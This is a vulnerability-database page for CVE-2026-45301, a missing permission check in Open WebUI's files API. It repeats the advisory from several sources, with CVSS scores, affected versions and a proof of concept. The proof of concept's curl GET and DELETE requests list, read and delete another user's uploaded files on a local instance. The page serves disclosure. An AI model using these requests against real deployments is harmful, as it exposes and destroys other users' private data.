CVE-2026-45301
Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.
- Record
CVE-2026-45301- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-284
- Updated
- 2026-11-02
EUVDEUVD-2026-30653
8.1
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.
- Record
EUVD-2026-30653- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r8wh-8m7r-fh33
8.1
Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks.
Listing all files
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
Accessing the content of any file
Deleting any file
PoC
Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama - I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
Deleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Impact
Having access…
- Record
GHSA-r8wh-8m7r-fh33- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-284
- Updated
- 2026-11-02
NVD
8.1
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.
- Record
CVE-2026-45301- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-284
- Updated
- 2026-11-02
OSV
8.1
Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.
- Record
CVE-2026-45301- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-284
- Updated
- 2026-11-02
OSVGHSA-r8wh-8m7r-fh33
8.1
Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks.
Listing all files
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
Accessing the content of any file
Deleting any file
PoC
Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama - I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
Deleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Impact
Having access…
- Record
GHSA-r8wh-8m7r-fh33- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-284
- Updated
- 2026-11-02
OSVPYSEC-2026-2753
8.1
Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks.
Listing all files
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
Accessing the content of any file
Deleting any file
PoC
Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama - I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
Deleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Impact
Having access…
- Record
PYSEC-2026-2753- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
through 0.3.15 | 0.3.16 |
open-webuiPyPI |
before 0.3.16, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 18 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.20.3.30.3.40.3.50.3.60.3.70.3.80.3.9 |
0.3.16 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45301 is a high vulnerability (CVSS 8.1) in Openwebui Open Webui, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in open-webui 0.3.16.
References
Left out here: the rest of 3 source descriptions. The JSON record has them.